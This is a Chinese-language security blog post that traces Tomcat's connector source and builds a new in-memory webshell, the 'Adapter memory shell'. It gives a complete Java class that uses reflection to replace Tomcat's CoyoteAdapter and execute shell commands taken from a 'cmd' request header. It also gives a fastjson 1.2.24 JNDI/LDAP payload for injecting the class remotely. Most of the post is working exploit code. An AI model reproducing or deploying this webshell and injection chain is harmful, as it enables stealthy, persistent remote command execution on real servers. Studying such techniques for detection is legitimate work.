0x 00 前言
自从bluE0大佬提出executor内存马已经过去了快两年,Google一下,发现只有RoboTerh大佬构造过Upgrade内存马。
明显连接器这个地方还有很多地方可以构造内存马。
网上讲内存马的文章不少,但告诉大家如何构造内存马的文章很少。
所以就有了这篇文章。
我认为要构造一个从没有人提过的内存马,需要对源码有一定了解,所以本文从tomcat连接器源码开始调试,
之后以我构造Adapter内存马的过程开始,详细讲述的内存马如何构造。
0x 01 tomcat连接器源码调试
为了搭建环境的方便,我直接使用的spring内置的tomcat
从TomcatWebServer的start方法开始应该就是tomcat相关的逻辑了
由于是要从连接器中寻找能构造内存马的组件,那么我们重点看看连接器的部分
直接来到org.apache.tomcat.util.net.NioEndpoint#public void startInternal() throws Exception
Acceptor
先从Acceptor启动的线程开始,看看做了什么工作,来到org.apache.tomcat.util.net.Acceptor#public void run() {
该方法代码接着往下看,会发现其会将accept方法返回的Channel对象交给Poller处理
Poller
之后会将Channel对象放入PollerEvent中
最后将PollerEvent添加到Poller维护的队列中
Poller这边线程开启同样也是一个死循环,这个线程会调用events方法
这个events方法会将我们刚刚放入队列中的PollerEvent取出,并从PollerEvent的属性中取出NioSocketWrapper,把NioSocketWrapper注册到Poller线程中的Selector中。
我们看看Poller的run方法后半,
遍历已经就绪的SelectorKey集合,从SelectionKey中取出NioSocketWrapper,然后分发处理所有活跃的事件。
这个事件怎么处理的呢,生成一个 SocketProcessor 任务对象交给 Executor 去处理。
Executor
处理的Executor 实质就是ThreadPoolExecutor, bluE0大佬的executor内存马就是基于替换这个ThreadPoolExecutor而实现的
之后就是ThreadPoolExecutor会调用SocketProcessor 的run方法
Http11Processor
这个run方法经过层层调用,最终会调用Http11Processor(默认)来读取和解析请求数据
再经过层层调用,会到Http11Processor的service方法,这个service方法中有一个需要注意的,
如果请求头存在有upgrade标识,则会走Upgrade协议的逻辑。RoboTerh大佬 就是将自定义的UpgradeProtocol添加到AbstractHttp11Protocol中,达到注入UpgradeProtocol马的目的。
Adapter
如果不走这个协议,则会调用适配器的service方法,默认调用的是CoyoteAdapter的service方法
再后面就到容器的逻辑了
0x 02 连接器内存马构造
从连接器到容器的整个过程中,所有涉及的组件都有可能构造内存马
这里以构造Adapter内存马为例
- 寻找请求调用栈上的Adapter实现类,并找到其调用的方法
- 寻找存储有Adapter实现类的字段
- 构造Adapter内存马
- 验证Adapter内存马
寻找请求调用栈上的Adapter实现类
由上图可以看到,一个请求再到controller的过程中,会经过CoyoteAdapter的service方法
调用栈往前看,看看这个CoyoteAdapter是存储在那个对象里面的,可以看到CoyoteAdapter就是Http11Processor的adapter
也就是后续需要在全局变量中找到Http11Processor
寻找存储CoyoteAdapter实现类的字段
这里借用conly大佬的java内存对象搜索辅助工具寻找
//设置搜索类型包含Request关键字的对象
List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_type("Http11Processor").build());
//定义黑名单
List<Blacklist> blacklists = new ArrayList<>();
blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
//新建一个广度优先搜索Thread.currentThread()的搜索器
// SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
SearchRequstByBFS searcher = new SearchRequstByBFS(o,keys);
// 设置黑名单
searcher.setBlacklists(blacklists);
//打开调试模式,会生成log日志
searcher.setIs_debug(true);
//挖掘深度为20
searcher.setMax_search_depth(30);
//设置报告保存位置
searcher.setReport_save_path("E:\\xxx\\log");
searcher.searchObject();
将该段代码封装为一个方法
之后直接放到controller方法中寻找
@RequestMapping("/hello")
public String hello() {
test1.testSearchRequest();
return "hello world!";
}
可以找到以下符合要求的路径
TargetObject = {org.apache.tomcat.util.threads.TaskThread}
---> group = {java.lang.ThreadGroup}
---> threads = {class [Ljava.lang.Thread;}
---> [15] = {java.lang.Thread}
---> target = {org.apache.tomcat.util.net.NioEndpoint$Poller}
---> this$0 = {org.apache.tomcat.util.net.NioEndpoint}
---> connections = {java.util.Map<U, org.apache.tomcat.util.net.SocketWrapperBase<S>>}
---> [java.nio.channels.SocketChannel[connected local=/127.0.0.1:8081 remote=/127.0.0.1:53770]] = {org.apache.tomcat.util.net.NioEndpoint$NioSocketWrapper}
---> currentProcessor = {org.apache.coyote.http11.Http11Processor}
由于该工具原理就是从内存中,搜索某个变量的属性,是否有符合要求的
基于以下考虑,限制了深度
- 第一个是这样反射路径过长,就算是搜索到了,最终构造的payload数据会很大
- 第二个是挖掘时间会很长,因为JVM虚拟机内存中的对象结构其实是非常的复杂的,一个对象的属性往往嵌套着另一个对象,另一个对象的属性继续嵌套其他对象…
深度优先可能会错过比较短的反射链,所以建议深度优先和广度优先结合着来
基于前面源码调试,可以发现,连接器里面的东西,很多都能从NioEndpoint中获取,所以其实实在搜不到,也可以分两步进行
第一步是搜NioEndpoint对象
第二步是从NioEndpoint对象中搜索需要的对象
不一定要从全局变量中找,只要是存储有我们需要信息的对象,并且我们能够获取到就能满足要求
构造Adapter内存马
由于请求调用栈上调用的是CoyoteAdapter的service方法,所以我们需要重写其service方法。
但它service方法代码太多了,直接cv会导致内存马太大,不过可以直接用super.service(req, res);进行调用父类的
最终构造如下
@Override
public void service(org.apache.coyote.Request req, org.apache.coyote.Response res) throws Exception {
System.out.println("success !");
String p = req.getHeader("cmd");
if(null!=p){
exec(p, res);
}else {
//调用父类service方法
super.service(req, res);
}
}
执行命令的方法如下
public void exec(String p, org.apache.coyote.Response res) {
try {
String[] cmd = System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe", "/c", p} : new String[]{"/bin/sh", "-c", p};
byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes();
res.doWrite(ByteBuffer.wrap(result));
} catch (Exception e) {
}
}
之前找到CoyoteAdapter存储在Http11Processor中
之后通过conlyone大佬的内存对象搜索工具找到如何从当前线程获取Http11Processor
TargetObject = {org.apache.tomcat.util.threads.TaskThread}
---> group = {java.lang.ThreadGroup}
---> threads = {class [Ljava.lang.Thread;}
---> [15] = {java.lang.Thread}
---> target = {org.apache.tomcat.util.net.NioEndpoint$Poller}
---> this$0 = {org.apache.tomcat.util.net.NioEndpoint}
---> connections = {java.util.Map<U, org.apache.tomcat.util.net.SocketWrapperBase<S>>}
---> [java.nio.channels.SocketChannel[connected local=/127.0.0.1:8081 remote=/127.0.0.1:53770]] = {org.apache.tomcat.util.net.NioEndpoint$NioSocketWrapper}
---> currentProcessor = {org.apache.coyote.http11.Http11Processor}
所以可以写出如下获取内存中Http11Processor的方法
public static Object getHttp11Processor() {
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
Thread threads[] = (Thread[]) getField(threadGroup, threadGroup.getClass(), "threads");
for(Thread thread:threads){
//不同的环境下可能需要在不同的线程数组元素中取出,所以使用for循环遍历这些线程
Object o=getField(thread, thread.getClass(), "target");
if(null!=o&&o instanceof NioEndpoint.Poller){
NioEndpoint.Poller target=( NioEndpoint.Poller)o;
NioEndpoint nioEndpoint = (NioEndpoint) getField(target, target.getClass(), "this$0");
Set<SocketWrapperBase<NioChannel>> connections = nioEndpoint.getConnections();
for (SocketWrapperBase<NioChannel> c : connections) {
Object currentProcessor = c.getCurrentProcessor();
if (null != currentProcessor) {
return currentProcessor;
}
}
}
}
return new Object();
}
之后将Http11Processor中CoyoteAdapter替换为我们内存马的逻辑
static {
Http11Processor http11Processor = (Http11Processor) getHttp11Processor();
CoyoteAdapter adapter = (CoyoteAdapter) http11Processor.getAdapter();
Connector connector = (Connector) getField(adapter, adapter.getClass(), "connector");
MyAdapter adapterMem = new MyAdapter(connector);
setFiled(http11Processor, http11Processor.getClass().getSuperclass(), "adapter", adapterMem);
}
我的Adapter内存马完整构造如下
import org.apache.catalina.connector.Connector;
import org.apache.catalina.connector.CoyoteAdapter;
import org.apache.coyote.http11.Http11Processor;
import org.apache.tomcat.util.net.NioChannel;
import org.apache.tomcat.util.net.NioEndpoint;
import org.apache.tomcat.util.net.SocketWrapperBase;
import java.lang.reflect.Field;
import java.nio.ByteBuffer;
import java.util.Set;
public class MyAdapter extends CoyoteAdapter {
static {
Http11Processor http11Processor = (Http11Processor) getHttp11Processor();
CoyoteAdapter adapter = (CoyoteAdapter) http11Processor.getAdapter();
Connector connector = (Connector) getField(adapter, adapter.getClass(), "connector");
MyAdapter adapterMem = new MyAdapter(connector);
setFiled(http11Processor, http11Processor.getClass().getSuperclass(), "adapter", adapterMem);
}
public static Object getField(Object object, Class clazz, String fieldName) {
Field declaredField;
try {
declaredField = clazz.getDeclaredField(fieldName);
declaredField.setAccessible(true);
return declaredField.get(object);
} catch (NoSuchFieldException e) {
} catch (IllegalAccessException e) {
}
return null;
}
public static void setFiled(Object object, Class clazz, String filed_Name, Object value) {
Field flied = null;
try {
flied = clazz.getDeclaredField(filed_Name);
flied.setAccessible(true);
flied.set(object, value);
} catch (NoSuchFieldException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
}
}
public static Object getHttp11Processor() {
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
Thread threads[] = (Thread[]) getField(threadGroup, threadGroup.getClass(), "threads");
for(Thread thread:threads){
//不同的环境下可能需要在不同的线程数组元素中取出,所以使用for循环遍历这些线程
Object o=getField(thread, thread.getClass(), "target");
if(null!=o&&o instanceof NioEndpoint.Poller){
NioEndpoint.Poller target=( NioEndpoint.Poller)o;
NioEndpoint nioEndpoint = (NioEndpoint) getField(target, target.getClass(), "this$0");
Set<SocketWrapperBase<NioChannel>> connections = nioEndpoint.getConnections();
for (SocketWrapperBase<NioChannel> c : connections) {
Object currentProcessor = c.getCurrentProcessor();
if (null != currentProcessor) {
return currentProcessor;
}
}
}
}
return new Object();
}
public MyAdapter(Connector connector) {
super(connector);
}
public void exec(String p, org.apache.coyote.Response res) {
try {
String[] cmd = System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe", "/c", p} : new String[]{"/bin/sh", "-c", p};
byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes();
res.doWrite(ByteBuffer.wrap(result));
} catch (Exception e) {
}
}
@Override
public void service(org.apache.coyote.Request req, org.apache.coyote.Response res) throws Exception {
System.out.println("success !");
String p = req.getHeader("cmd");
if(null!=p){
exec(p, res);
}else {
//调用父类service方法
super.service(req, res);
}
}
}
验证Adapter内存马
将该马加入jndi测试工具,
测试环境为 fastjson1.2.24,jdk8
打入以下payload
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1389/0/MyAdapter/123","autoCommit":true}
jndi测试工具会返回指向MyAdapter内存马的reference
之后受害服务器远程通过reference远程加载构造的Adapter马
执行器静态代码块中的逻辑,将内存中的CoyoteAdapter替换为我们的Adapter马
之后发送任意路径下的请求,都会到我们Adapter马的service方法,如果请求头中带有cmd,则会执行命令并将结果返回
至此,一个没有被大家提出过的内存马就构造出来了,根据tomcat连接器处的源码调试可知,一个请求从接收到controller,在连接器中经过了好几个组件均有可能构造出内存马。
当然也有可能会有一些分支情况,比如Upgrade内存马,如果请求头存在有upgrade标识,则会走Upgrade协议的逻辑。
0x 03 写后感
本文作者才疏学浅,文章若有错误或可优化之处,还麻烦各位大佬指点一二。
参考链接:
tomcat源码解读
- https://blog.csdn.net/weixin_45505313/article/details/118631533
- https://server.51cto.com/article/689817.html
- https://blog.csdn.net/qq_32868023/article/details/127836784
- https://blog.csdn.net/ldw201510803006/article/details/119790847
- https://blog.csdn.net/qq_40355167/article/details/119702153
连接器内存马
Executor内存马的实现:https://xz.aliyun.com/t/11593?time__1311=mqmx0DBD2QD%3D%3DBKDsKE4fWKY0KX4AK4ex
初探Upgrade内存马(内存马系列篇六) - FreeBuf网络安全行业门户
java内存对象搜索辅助工具
https://github.com/c0ny1/java-object-searcher
java java-object-searcher工具实现理论基础 https://gv7.me/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/